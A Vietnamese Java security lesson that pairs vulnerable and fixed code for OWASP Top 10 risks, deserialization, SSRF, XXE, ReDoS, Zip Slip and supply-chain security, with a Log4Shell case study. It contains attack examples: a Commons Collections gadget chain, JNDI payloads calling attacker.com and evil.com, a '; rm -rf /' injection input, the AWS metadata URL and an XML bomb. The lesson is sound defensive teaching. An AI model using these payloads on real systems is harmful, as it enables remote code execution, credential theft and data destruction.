Lỗ hổng phổ biến & Phòng chống
Sau bài này, bạn sẽ:
- Nắm được OWASP Top 10 và cách phòng chống từng loại trong Java
- Hiểu sâu về Deserialization attacks và gadget chains
- Nhận biết các DoS patterns trong Java và cách phòng tránh
- Biết cách quản lý dependency security (supply chain)
- Có mindset bảo mật khi review và viết code
OWASP Top 10 cho Java
OWASP (Open Worldwide Application Security Project) công bố danh sách 10 rủi ro bảo mật phổ biến nhất cho ứng dụng web. Dưới đây là cách từng rủi ro áp dụng cho Java:
Attack Surface Map
OWASP Top 10 Severity Overview
A01: Broken Access Control
Người dùng truy cập tài nguyên hoặc chức năng mà họ không có quyền.
// ❌ VULNERABLE — IDOR (Insecure Direct Object Reference)
@GetMapping("/api/users/{userId}/profile")
public UserProfile getProfile(@PathVariable int userId) {
// Bất kỳ ai cũng có thể xem profile người khác
return userRepository.findById(userId);
}
// ✅ SAFE — Kiểm tra quyền
@GetMapping("/api/users/{userId}/profile")
public UserProfile getProfile(@PathVariable int userId,
@AuthenticationPrincipal User currentUser) {
if (currentUser.getId() != userId && !currentUser.isAdmin()) {
throw new AccessDeniedException("Không có quyền truy cập");
}
return userRepository.findById(userId);
}
A02: Cryptographic Failures
Sử dụng thuật toán yếu hoặc không mã hoá dữ liệu nhạy cảm.
// ❌ VULNERABLE — thuật toán yếu
MessageDigest md = MessageDigest.getInstance("MD5"); // Đã bị phá
Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding"); // DES 56-bit, quá yếu
// ✅ SAFE — thuật toán mạnh
MessageDigest md = MessageDigest.getInstance("SHA-256");
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); // AES-256, GCM mode
A03: Injection
Chèn mã độc thông qua input — SQL, LDAP, OS Command, XPath...
// ❌ VULNERABLE — OS Command Injection
String filename = request.getParameter("file");
Runtime.getRuntime().exec("cat /uploads/" + filename);
// Attacker nhập: "; rm -rf /" → thảm hoạ
// ✅ SAFE — Không dùng shell, validate input
String filename = request.getParameter("file");
if (!filename.matches("^[a-zA-Z0-9._-]+$")) {
throw new SecurityException("Invalid filename");
}
// Dùng ProcessBuilder thay vì exec
ProcessBuilder pb = new ProcessBuilder("cat", "/uploads/" + filename);
pb.redirectErrorStream(true);
Process p = pb.start();
A04: Insecure Design
Thiết kế thiếu các kiểm soát bảo mật ngay từ đầu.
// ❌ VULNERABLE — Không giới hạn số lần login
public boolean login(String username, String password) {
return authService.authenticate(username, password);
// Attacker có thể brute-force mật khẩu
}
// ✅ SAFE — Rate limiting + Account lockout
public boolean login(String username, String password) {
if (loginAttemptService.isBlocked(username)) {
throw new AccountLockedException(
"Tài khoản bị khoá do đăng nhập sai quá nhiều lần");
}
boolean success = authService.authenticate(username, password);
if (!success) {
loginAttemptService.recordFailure(username);
} else {
loginAttemptService.resetAttempts(username);
}
return success;
}
A05: Security Misconfiguration
// ❌ VULNERABLE — Default credentials, verbose errors
spring.datasource.username=admin
spring.datasource.password=admin
server.error.include-stacktrace=always
// ✅ SAFE — Strong credentials, minimal error info
spring.datasource.username=${DB_USER}
spring.datasource.password=${DB_PASS}
server.error.include-stacktrace=never
server.error.include-message=never
A06-A10: Tóm tắt
| # | Rủi ro | Phòng chống Java |
|---|---|---|
| A06 | Vulnerable Components | Dependency scanning (OWASP Dependency-Check) |
| A07 | Authentication Failures | Strong password policy, MFA, session management |
| A08 | Data Integrity Failures | Verify signatures, checksums, CI/CD pipeline security |
| A09 | Logging Failures | Log security events, monitor anomalies |
| A10 | SSRF | Validate/whitelist URLs, block internal networks |
A06: Vulnerable and Outdated Components — Chi tiết
Sử dụng library/framework có lỗ hổng đã biết.
// OWASP Dependency-Check — tích hợp vào Maven build
// Scan tự động trong CI/CD pipeline
// pom.xml plugin configuration
/*
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>9.0.7</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS>
<formats>
<format>HTML</format>
<format>JSON</format>
</formats>
</configuration>
<executions>
<execution>
<goals><goal>check</goal></goals>
</execution>
</executions>
</plugin>
*/
// Chạy scan: mvn dependency-check:check
// Report tại: target/dependency-check-report.html
A07: Identification and Authentication Failures — Chi tiết
// ❌ VULNERABLE — Session fixation
// Không tạo session mới sau login
HttpSession session = request.getSession();
session.setAttribute("user", authenticatedUser);
// ✅ SAFE — Invalidate session cũ, tạo session mới
request.getSession().invalidate();
HttpSession newSession = request.getSession(true);
newSession.setAttribute("user", authenticatedUser);
// ✅ SAFE — Credential stuffing protection
// Dùng rate limiting + CAPTCHA sau N lần login fail
if (loginAttemptService.isBlocked(username)) {
throw new TooManyAttemptsException("Vui lòng thử lại sau 15 phút");
}
A08: Software and Data Integrity Failures — Chi tiết
// ✅ Verify artifact signatures trong CI/CD
// mvn verify — tự động verify checksums
// gradle --verify-dependencies
// ✅ Dùng signed commits trong Git
// git config commit.gpgsign true
// ✅ Verify download checksums
import java.security.MessageDigest;
import java.util.HexFormat;
public static boolean verifyChecksum(byte[] data, String expectedSha256)
throws Exception {
MessageDigest md = MessageDigest.getInstance("SHA-256");
String actual = HexFormat.of().formatHex(md.digest(data));
return actual.equalsIgnoreCase(expectedSha256);
}
A09: Security Logging and Monitoring Failures — Chi tiết
import java.util.logging.Logger;
public class SecurityEventLogger {
private static final Logger securityLog =
Logger.getLogger("SECURITY_AUDIT");
// ✅ Log authentication events
public static void logLoginSuccess(String username, String ip) {
securityLog.info(String.format(
"LOGIN_SUCCESS user=%s ip=%s", username, ip));
}
public static void logLoginFailure(String username, String ip) {
securityLog.warning(String.format(
"LOGIN_FAILURE user=%s ip=%s", username, ip));
}
// ✅ Log authorization events
public static void logAccessDenied(String username, String resource) {
securityLog.warning(String.format(
"ACCESS_DENIED user=%s resource=%s", username, resource));
}
// ✅ Log sensitive operations
public static void logDataExport(String username, String dataType, int count) {
securityLog.info(String.format(
"DATA_EXPORT user=%s type=%s count=%d", username, dataType, count));
}
}
A10: Server-Side Request Forgery (SSRF) — Chi tiết
SSRF xảy ra khi attacker khiến server gửi request đến URL mà attacker chọn, thường nhắm vào internal services.
// ❌ VULNERABLE — SSRF
@GetMapping("/fetch")
public String fetchUrl(@RequestParam String url) throws Exception {
// Attacker: url = "http://169.254.169.254/latest/meta-data/"
// → Đọc AWS metadata (credentials, tokens)!
return new URL(url).openStream().readAllBytes().toString();
}
// ✅ SAFE — Validate và whitelist URLs
@GetMapping("/fetch")
public String fetchUrl(@RequestParam String url) throws Exception {
URI uri = URI.create(url);
// 1. Chỉ cho phép HTTPS
if (!"https".equals(uri.getScheme())) {
throw new SecurityException("Only HTTPS allowed");
}
// 2. Whitelist domains
Set<String> allowedDomains = Set.of("api.github.com", "httpbin.org");
if (!allowedDomains.contains(uri.getHost())) {
throw new SecurityException("Domain not allowed: " + uri.getHost());
}
// 3. Block internal IPs
InetAddress addr = InetAddress.getByName(uri.getHost());
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress() ||
addr.isLinkLocalAddress()) {
throw new SecurityException("Internal addresses blocked");
}
return HttpClient.newHttpClient()
.send(HttpRequest.newBuilder(uri).build(),
HttpResponse.BodyHandlers.ofString())
.body();
}
Deserialization Attacks — Deep Dive
Gadget Chain là gì?
Gadget chain là chuỗi các class (gadgets) có sẵn trong classpath, khi được deserialize theo thứ tự đúng, sẽ dẫn đến RCE.
Untrusted Data → ObjectInputStream.readObject()
→ ClassA.readObject() gọi → ClassB.invoke()
→ ClassC.transform() gọi → Runtime.exec("malicious command")
Ví dụ: Apache Commons Collections Deserialization Attack
Apache Commons Collections là một trong những library phổ biến nhất có gadget chain nguy hiểm. Attack này lợi dụng InvokerTransformer để thực thi code tùy ý thông qua ObjectInputStream.readObject().
// Cơ chế hoạt động của Commons Collections gadget chain:
// 1. Attacker tạo LazyMap với malicious transformer
Transformer[] transformers = new Transformer[] {
// Lấy Runtime class
new ConstantTransformer(Runtime.class),
// Gọi getRuntime()
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
// Invoke để lấy Runtime instance
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
// Thực thi command
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"}) // hoặc reverse shell
};
Transformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
// 2. Khi server gọi ObjectInputStream.readObject()
// → LazyMap.get() được trigger
// → ChainedTransformer thực thi chain
// → Runtime.exec("calc.exe") được gọi
// → RCE (Remote Code Execution)
Tại sao Java Serialization nguy hiểm?
Java serialization nguy hiểm vì readObject() có thể kích hoạt code trong class constructor, custom readObject() methods, và các side effects khác. Attacker chỉ cần tìm gadget chain phù hợp trong classpath.
// Các library khác cũng bị ảnh hưởng:
// - Apache Commons Collections 3.x, 4.x (trước 4.1)
// - Spring Framework (các version cũ)
// - Apache Commons BeanUtils
// - Groovy, JRE libraries (JDK 7u21 gadget)
Deserialization Attack Flow
Phòng chống toàn diện
import java.io.*;
public class DeserializationDefense {
// ✅ Giải pháp 1: Global filter (Java 9+)
static {
// Đặt trong static block hoặc main()
ObjectInputFilter.Config.setSerialFilter(
ObjectInputFilter.Config.createFilter(
"com.myapp.dto.*;!*" // Chỉ cho phép package com.myapp.dto
));
}
// ✅ Giải pháp 2: Custom ObjectInputStream
static class SafeObjectInputStream extends ObjectInputStream {
private static final java.util.Set<String> ALLOWED_CLASSES =
java.util.Set.of(
"com.myapp.dto.UserDTO",
"com.myapp.dto.OrderDTO",
"java.lang.String",
"java.lang.Integer"
);
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException(
"Class not allowed: " + desc.getName());
}
return super.resolveClass(desc);
}
}
// ✅ Giải pháp 3 (KHUYẾN NGHỊ): Không dùng Java Serialization
// Dùng JSON, Protocol Buffers, hoặc Avro thay thế
}
// ✅ Giải pháp 4: Dùng ObjectInputFilter (Java 9+)
class FilteredDeserialization {
public static Object safeDeserialize(byte[] data) throws Exception {
ByteArrayInputStream bis = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bis);
// Set filter để chỉ cho phép safe classes
ois.setObjectInputFilter(info -> {
if (info.serialClass() != null) {
String className = info.serialClass().getName();
// Reject dangerous classes
if (className.startsWith("org.apache.commons.collections")) {
return ObjectInputFilter.Status.REJECTED;
}
// Allow only safe DTOs
if (className.startsWith("com.myapp.dto")) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
}
return ObjectInputFilter.Status.UNDECIDED;
});
return ois.readObject();
}
}
SSRF (Server-Side Request Forgery) — Deep Dive
AWS Metadata Attack
Đây là attack phổ biến nhất trên cloud:
Attacker → Application → http://169.254.169.254/latest/meta-data/
→ http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ Lấy được AWS Access Key + Secret Key!
Phòng chống: Ngoài URL validation, dùng IMDSv2 (Instance Metadata Service v2) yêu cầu token-based access.
Zip Slip — Path Traversal qua ZipEntry
Zip Slip xảy ra khi giải nén file ZIP mà không kiểm tra tên entry, cho phép ghi đè file ngoài thư mục đích.
// ❌ VULNERABLE — Zip Slip
try (ZipInputStream zis = new ZipInputStream(new FileInputStream(zipFile))) {
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
// entry.getName() có thể là "../../etc/cron.d/malicious"
File file = new File(destDir, entry.getName());
// Ghi đè file hệ thống!
Files.copy(zis, file.toPath());
}
}
// ✅ SAFE — Kiểm tra path traversal
try (ZipInputStream zis = new ZipInputStream(new FileInputStream(zipFile))) {
ZipEntry entry;
Path destPath = destDir.toPath().toRealPath();
while ((entry = zis.getNextEntry()) != null) {
Path entryPath = destPath.resolve(entry.getName()).normalize();
// Kiểm tra entry path nằm trong destDir
if (!entryPath.startsWith(destPath)) {
throw new SecurityException(
"Zip Slip detected: " + entry.getName());
}
Files.copy(zis, entryPath);
}
}
TOCTOU — Time-of-Check to Time-of-Use
TOCTOU là race condition khi có khoảng trống thời gian giữa kiểm tra và sử dụng tài nguyên.
// ❌ VULNERABLE — TOCTOU race condition
File file = new File(path);
if (file.exists() && file.canRead()) { // CHECK
// Attacker thay đổi file ở đây! (symlink attack)
return Files.readAllBytes(file.toPath()); // USE
}
// ✅ SAFE — Atomic operation, handle exception
try {
return Files.readAllBytes(Path.of(path));
} catch (IOException | SecurityException e) {
throw new SecurityException("Cannot read file: " + path, e);
}
// ✅ SAFE — Dùng file attributes thay vì check-then-act
Path safePath = Path.of(baseDir).resolve(path).toRealPath();
if (!safePath.startsWith(Path.of(baseDir).toRealPath())) {
throw new SecurityException("Path traversal: " + path);
}
DoS Patterns trong Java
1. ReDoS — Regular Expression Denial of Service
// ❌ VULNERABLE — Evil regex (catastrophic backtracking)
String evilPattern = "(a+)+$";
// Input: "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" → hàng tỷ lần backtrack!
// ✅ SAFE — Regex đơn giản, có timeout
String safePattern = "a+$"; // Không có nested quantifiers
// Hoặc dùng timeout (Java 9+)
import java.util.concurrent.*;
public static boolean safeMatch(String input, String pattern) {
ExecutorService executor = Executors.newSingleThreadExecutor();
Future<Boolean> future = executor.submit(() ->
input.matches(pattern));
try {
return future.get(1, TimeUnit.SECONDS); // Timeout 1 giây
} catch (TimeoutException e) {
future.cancel(true);
throw new RuntimeException("Regex timeout — possible ReDoS");
} finally {
executor.shutdownNow();
}
}
2. XML External Entity (XXE)
// ❌ VULNERABLE — XXE attack
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(untrustedXml);
// ✅ SAFE — Disable external entities
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
3. Billion Laughs Attack (XML Bomb)
<!-- ❌ XML Bomb — expands to ~1GB in memory -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- ... continues expanding exponentially -->
]>
<root>&lol9;</root>
Phòng chống: Disable DTD processing (xem giải pháp XXE ở trên).
4. HashMap DoS
// ❌ VULNERABLE — quá nhiều hash collisions → O(n²)
// Attacker gửi request với nhiều parameters có cùng hash
// → HashMap degrade thành LinkedList
// ✅ Java 8+ đã mitigate — treeify bins khi collision > 8
// Nhưng vẫn nên giới hạn số lượng input parameters
if (request.getParameterMap().size() > 1000) {
throw new SecurityException("Too many parameters");
}
DoS Attack Types and Prevention Strategies in Java
Dependency Security — Bảo mật chuỗi cung ứng
Tại sao Dependency Security quan trọng?
Một ứng dụng Java trung bình có 50-200 dependencies (trực tiếp + transitive). Mỗi dependency là một attack surface tiềm ẩn. Supply chain attacks (tấn công chuỗi cung ứng) ngày càng phổ biến khi attacker nhắm vào các package phổ biến để lây nhiễm hàng triệu ứng dụng.
Your App
├── Spring Boot 3.x
│ ├── Spring Framework 6.x
│ ├── Jackson 2.x
│ │ └── jackson-databind (CVE-2019-14540, CVE-2020-...)
│ ├── Tomcat 10.x
│ └── ...
├── Log4j 2.x (CVE-2021-44228 — Log4Shell!)
└── Apache Commons ...
Ví dụ thực tế về Supply Chain Attacks:
- event-stream (NPM, 2018): Package có 2 triệu downloads/tuần bị inject malware để đánh cắp Bitcoin wallet
- ua-parser-js (NPM, 2021): Maintainer account bị hack, inject crypto miner và password stealer
- codecov-bash (2021): Script upload coverage bị modify để đánh cắp credentials từ CI/CD
SBOM — Software Bill of Materials
SBOM là danh sách đầy đủ các component, library, và version trong ứng dụng. SBOM giúp:
- Nhanh chóng xác định ứng dụng nào bị ảnh hưởng khi có CVE mới
- Compliance và audit trail
- License compliance
<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
<version>2.7.11</version>
<executions>
<execution>
<goals>
<goal>makeAggregateBom</goal>
</goals>
</execution>
</executions>
</plugin>
# Tạo SBOM file (JSON hoặc XML)
mvn cyclonedx:makeAggregateBom
# Output: target/bom.json hoặc target/bom.xml
# File này chứa toàn bộ dependencies với version, licenses, hashes
OWASP Dependency-Check
<!-- Maven plugin để scan vulnerabilities -->
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>9.0.7</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS>
</configuration>
</plugin>
# Chạy scan
mvn dependency-check:check
# Gradle
# build.gradle
# plugins { id 'org.owasp.dependencycheck' version '9.0.7' }
# gradle dependencyCheckAnalyze
Best Practices cho Dependency Management
// Checklist bảo mật dependency:
// 1. Cập nhật dependencies thường xuyên
// - Dùng Dependabot, Renovate Bot, Snyk
// 2. Kiểm tra vulnerabilities
// - OWASP Dependency-Check (scan CVE database)
// - Snyk (commercial, real-time monitoring)
// - GitHub Security Advisories / Dependabot Alerts
// 3. Khoá version (không dùng dynamic versions)
// ❌ <version>[1.0,)</version> — range version (nguy hiểm!)
// ❌ <version>LATEST</version> — luôn lấy version mới nhất
// ✅ <version>1.5.3</version> — exact version (reproducible builds)
// 4. Verify checksums và signatures
// Maven tự verify checksums trong settings.xml
// Dùng maven-enforcer-plugin để require checksums
// 5. Sử dụng BOM (Bill of Materials)
// Spring Boot BOM quản lý version cho toàn bộ Spring ecosystem
// Tránh version conflicts
// 6. Minimize dependencies
// Mỗi dependency là thêm attack surface
// Hỏi: "Có thực sự cần library này không?"
// 7. Use lock files
// Maven: mvn dependency:go-offline tạo local repo
// Gradle: buildscript dependencies lock file
// 8. Private repository với signature verification
// Nexus, Artifactory để proxy Maven Central
// Verify GPG signatures của artifacts
Dependency Vulnerability Scanning Workflow
Tools cho Dependency Security
| Tool | Type | Tính năng |
|---|---|---|
| OWASP Dependency-Check | Free, OSS | Scan CVE database, Maven/Gradle plugin |
| Snyk | Commercial | Real-time monitoring, auto PR fixes |
| GitHub Dependabot | Free | Auto PR khi có security updates |
| Sonatype Nexus Lifecycle | Commercial | Policy enforcement, SBOM generation |
| JFrog Xray | Commercial | Recursive scanning, license compliance |
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<version>3.4.1</version>
<executions>
<execution>
<id>enforce</id>
<goals><goal>enforce</goal></goals>
<configuration>
<rules>
<!-- Fail nếu có dependency version conflicts -->
<dependencyConvergence/>
<!-- Require checksums cho tất cả dependencies -->
<requirePluginVersions/>
<!-- Ban các dependencies nguy hiểm -->
<bannedDependencies>
<excludes>
<exclude>commons-collections:commons-collections:3.2.1</exclude>
<exclude>org.apache.logging.log4j:log4j-core:[2.0,2.17.1)</exclude>
</excludes>
</bannedDependencies>
</rules>
</configuration>
</execution>
</executions>
</plugin>
Log4Shell Case Study — CVE-2021-44228
CVE-2021-44228 là lỗ hổng RCE zero-click trong Apache Log4j 2.x, ảnh hưởng hàng triệu ứng dụng toàn cầu. CVSS score: 10.0/10 (Critical).
Root Cause — Nguyên nhân gốc
Log4j có tính năng message lookup để substitute variables trong log message. Tính năng này hỗ trợ JNDI (Java Naming and Directory Interface) lookups, cho phép Log4j load data từ LDAP, RMI, DNS servers.
// Tính năng hợp lệ (intended behavior):
logger.info("User logged in from ${env:HOME}");
// → "User logged in from /home/user"
logger.info("Java version: ${java:version}");
// → "Java version: 1.8.0_292"
// ❌ Attacker lợi dụng JNDI lookup:
logger.info("User-Agent: ${jndi:ldap://attacker.com/exploit}");
// → Log4j thực thi JNDI lookup → download và execute malicious class!
Cơ chế tấn công — How it works
1. Attacker gửi payload trong bất kỳ input nào được log:
HTTP Header: User-Agent: ${jndi:ldap://evil.com/Exploit}
Query param: ?search=${jndi:ldap://evil.com/Exploit}
POST body, WebSocket message, etc.
2. Application log input này:
logger.info("Received request from: {}", userAgent);
3. Log4j parse message và phát hiện ${jndi:...}:
→ Thực thi JNDI lookup tới evil.com
4. LDAP server (evil.com) trả về serialized Java object:
→ Log4j deserialize object
→ Object chứa malicious code
→ Code được thực thi với quyền của application
5. Kết quả:
→ RCE (Remote Code Execution)
→ Attacker chiếm quyền điều khiển server
// ❌ Code dễ bị tấn công (Log4j 2.0-2.14.1)
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class VulnerableApp {
private static final Logger logger = LogManager.getLogger();
public void handleRequest(String userAgent) {
logger.info("User-Agent: {}", userAgent);
// Nếu userAgent = "${jndi:ldap://evil.com/Exploit}"
// → Log4j sẽ connect tới evil.com và execute code!
}
}
// Payload ví dụ:
// ${jndi:ldap://attacker.com:1389/Exploit}
// ${jndi:rmi://attacker.com:1099/Exploit}
// ${jndi:dns://attacker.com/Exploit}
Timeline — Diễn biến sự kiện
- 24/11/2021: Lỗ hổng được phát hiện bởi Alibaba Cloud Security Team
- 09/12/2021 (00:00 UTC): Public disclosure trên Twitter — toàn thế giới hoảng loạn
- 10/12/2021: Apache phát hành Log4j 2.15.0 (fix JNDI lookup mặc định)
- 13/12/2021: Phát hiện bypass — phát hành 2.16.0 (disable JNDI hoàn toàn trong message)
- 18/12/2021: Phát hiện DoS vulnerability — phát hành 2.17.0
- 28/12/2021: Phát hành 2.17.1 với thêm các fix bảo mật
Impact: Hàng triệu server bị tấn công trong vòng 72 giờ đầu. Các công ty lớn như Apple iCloud, Steam, Minecraft, Twitter, AWS đều bị ảnh hưởng.
Fix Strategies — Chiến lược khắc phục
// ✅ Giải pháp 1: Upgrade ngay lập tức
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version> <!-- hoặc mới hơn -->
</dependency>
// ✅ Giải pháp 2: Set JVM flag (nếu chưa upgrade được)
// -Dlog4j2.formatMsgNoLookups=true
// ✅ Giải pháp 3: Remove JndiLookup class (nếu không thể restart JVM)
// zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
// ✅ Giải pháp 4: WAF rules để block JNDI patterns
// Block requests chứa ${jndi:...} trong headers/body
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>9.0.7</version>
<configuration>
<!-- Fail build nếu phát hiện Log4Shell -->
<failBuildOnCVSS>9</failBuildOnCVSS>
<suppressionFiles>
<suppressionFile>suppressions.xml</suppressionFile>
</suppressionFiles>
</configuration>
</plugin>
Lessons Learned — Bài học kinh nghiệm
-
Transitive dependencies cũng nguy hiểm: Nhiều team không biết họ đang dùng Log4j vì nó là transitive dependency của Spring Boot, Elasticsearch, Apache Struts...
-
Logging libraries không "an toàn" như tưởng: Mọi người nghĩ logging là "chỉ ghi file" nên không nguy hiểm, nhưng Log4j có features phức tạp như JNDI lookup.
-
SBOM (Software Bill of Materials) là bắt buộc: Không có SBOM, bạn không thể biết nhanh liệu mình có bị ảnh hưởng hay không.
-
Defense in Depth: Network isolation, least privilege, WAF đã giúp giảm thiểu damage cho nhiều tổ chức.
-
Patching phải nhanh: Kẻ tấn công đã bắt đầu scan và exploit chỉ vài giờ sau khi lỗ hổng được công bố.
-
Supply chain security cần được ưu tiên: Cần tools tự động scan dependencies trong CI/CD pipeline, không chỉ scan khi có incident. :::
OCP Exam thường kiểm tra các security topics sau:
-
Serialization security: Biết rằng
ObjectInputStreamcó thể bị exploit, cần dùngObjectInputFilter(Java 9+) để filter classes. -
Cryptography APIs: Phân biệt được thuật toán yếu (MD5, DES) vs mạnh (SHA-256, AES). Biết
SecureRandomdùng cho security purposes, không phảiRandom. -
Path traversal prevention: Dùng
Path.normalize()và kiểm trastartsWith()để ngăn chặn../../etc/passwd. -
SQL Injection prevention: Luôn dùng
PreparedStatement, không string concatenation. -
DoS patterns: Biết các patterns như ReDoS (catastrophic backtracking regex), XXE (XML External Entity), hash collision attacks.
Ví dụ câu hỏi thi:
// Đoạn code nào KHÔNG bị deserialization vulnerability?
// A. ObjectInputStream ois = new ObjectInputStream(input);
// B. ois.setObjectInputFilter(info -> ALLOWED);
// C. Gson.fromJson(input, MyClass.class);
// D. Jackson ObjectMapper readValue(input)
// → Answer: B, C (C dùng JSON, B có filter)
ObjectInputFilter phải được set trước khi gọi readObject(). Nếu set sau, filter không có tác dụng!
ObjectInputStream ois = new ObjectInputStream(input);
// ❌ SAI — set filter SAU readObject()
Object obj = ois.readObject(); // Đã deserialize rồi!
ois.setObjectInputFilter(filter); // Quá muộn!
// ✅ ĐÚNG — set filter TRƯỚC readObject()
ois.setObjectInputFilter(filter); // Filter active
Object obj = ois.readObject(); // Filter kiểm tra từng class
Hoặc dùng global filter (áp dụng cho TẤT CẢ ObjectInputStream):
// Set 1 lần khi application khởi động
ObjectInputFilter.Config.setSerialFilter(
ObjectInputFilter.Config.createFilter(
"com.myapp.dto.*;!*" // Whitelist pattern
));
Security Testing Checklist
Code Review Checklist
| # | Kiểm tra | Công cụ |
|---|---|---|
| 1 | SQL Injection — có PreparedStatement không? | SpotBugs, manual review |
| 2 | XSS — output có được encode không? | OWASP ZAP, Burp Suite |
| 3 | Deserialization — có ObjectInputStream không? | SpotBugs, FindSecBugs |
| 4 | Crypto — thuật toán đủ mạnh không? | Manual review |
| 5 | Secrets — có hardcode password/key không? | TruffleHog, git-secrets |
| 6 | Dependencies — có CVE nào không? | OWASP Dependency-Check |
| 7 | Error handling — có lộ thông tin không? | Manual review |
| 8 | Access control — có kiểm tra quyền không? | Manual review |
SpotBugs + FindSecBugs
<plugin>
<groupId>com.github.spotbugs</groupId>
<artifactId>spotbugs-maven-plugin</artifactId>
<version>4.8.3.0</version>
<configuration>
<plugins>
<plugin>
<groupId>com.h3xstream.findsecbugs</groupId>
<artifactId>findsecbugs-plugin</artifactId>
<version>1.13.0</version>
</plugin>
</plugins>
</configuration>
</plugin>
# Chạy security scan
mvn spotbugs:check
Ví dụ thực tế: Security Audit Report
import java.util.*;
public class SecurityAuditReport {
record Finding(String severity, String category,
String description, String remediation) {}
public static void main(String[] args) {
List<Finding> findings = List.of(
new Finding("CRITICAL", "A03-Injection",
"SQL query dùng string concatenation tại UserDAO.java:45",
"Chuyển sang PreparedStatement"),
new Finding("HIGH", "A02-Crypto",
"Password hash dùng MD5 tại AuthService.java:23",
"Chuyển sang SHA-256 + salt hoặc bcrypt"),
new Finding("MEDIUM", "A05-Misconfig",
"Debug mode bật trong production config",
"Set spring.profiles.active=prod"),
new Finding("LOW", "A09-Logging",
"Thiếu audit log cho thao tác admin",
"Thêm logging cho tất cả admin actions")
);
// In báo cáo
System.out.println("=== SECURITY AUDIT REPORT ===\n");
System.out.printf("%-10s %-15s %s%n", "Severity", "Category", "Description");
System.out.println("-".repeat(70));
for (Finding f : findings) {
System.out.printf("%-10s %-15s %s%n",
f.severity(), f.category(), f.description());
System.out.printf("%-10s %-15s → %s%n%n",
"", "Fix", f.remediation());
}
// Thống kê
Map<String, Long> bySeverity = new LinkedHashMap<>();
findings.forEach(f ->
bySeverity.merge(f.severity(), 1L, Long::sum));
System.out.println("Summary: " + bySeverity);
}
}
Lỗi thường gặp
1. Chỉ validate ở client-side:
// ❌ JavaScript validation dễ bị bypass
// Attacker có thể gửi request trực tiếp qua Postman/curl
// ✅ Luôn validate ở server-side
if (username == null || !username.matches("^[a-zA-Z0-9_]{3,20}$")) {
throw new IllegalArgumentException("Invalid username");
}
2. Hardcode secrets trong source code:
// ❌ Secrets trong code → lộ qua Git history
private static final String API_KEY = "sk-1234567890abcdef";
// ✅ Đọc từ environment
private static final String API_KEY = System.getenv("API_KEY");
3. Không update dependencies:
<!-- ❌ Dùng version cũ có CVE -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- Log4Shell! -->
</dependency>
<!-- ✅ Dùng version mới nhất -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.23.0</version>
</dependency>
Bài tập
Bài 1: Vulnerability Scanner [Cơ bản]
Viết chương trình kiểm tra một list URLs xem có dùng HTTPS không, certificate có valid không, TLS version bao nhiêu. In báo cáo dạng bảng với status: PASS, WARN, FAIL.
Gợi ý
Dùng HttpsURLConnection để connect, bắt exception cho các trường hợp lỗi. Kiểm tra getCipherSuite() cho TLS info.
Bài 2: Secure Code Reviewer [Trung bình]
Mở rộng bài tập "Security Audit Tool" từ bài trước:
- Phát hiện thêm: XXE vulnerability (
DocumentBuilderFactorykhông có security features) - Phát hiện:
Randomdùng cho security purposes - Phát hiện: Catch block quá rộng (
catch (Exception e)) - Phân loại findings theo severity: CRITICAL, HIGH, MEDIUM, LOW
- Xuất báo cáo dạng Markdown
Gợi ý
Tạo Map<String, String> chứa pattern → severity. Scan mỗi file với tất cả patterns.
Bài 3: Secure Microservice [Thách thức]
Thiết kế và implement một microservice đơn giản (dùng Java SE, không framework) áp dụng tất cả security best practices:
- HTTP server dùng
com.sun.net.httpserver.HttpServer - Endpoints:
/register,/login,/profile - Password hashing (salt + SHA-256)
- Input validation trên tất cả endpoints
- Rate limiting cho
/login - Secure error handling (không lộ stack trace)
- Logging cho security events
Gợi ý
Tạo các class: HttpServerApp, AuthHandler, RateLimiter, InputValidator, PasswordHasher, SecurityLogger. Dùng ConcurrentHashMap cho rate limiting.
Tóm tắt
| Lỗ hổng | Phòng chống |
|---|---|
| SQL Injection | PreparedStatement, whitelist validation |
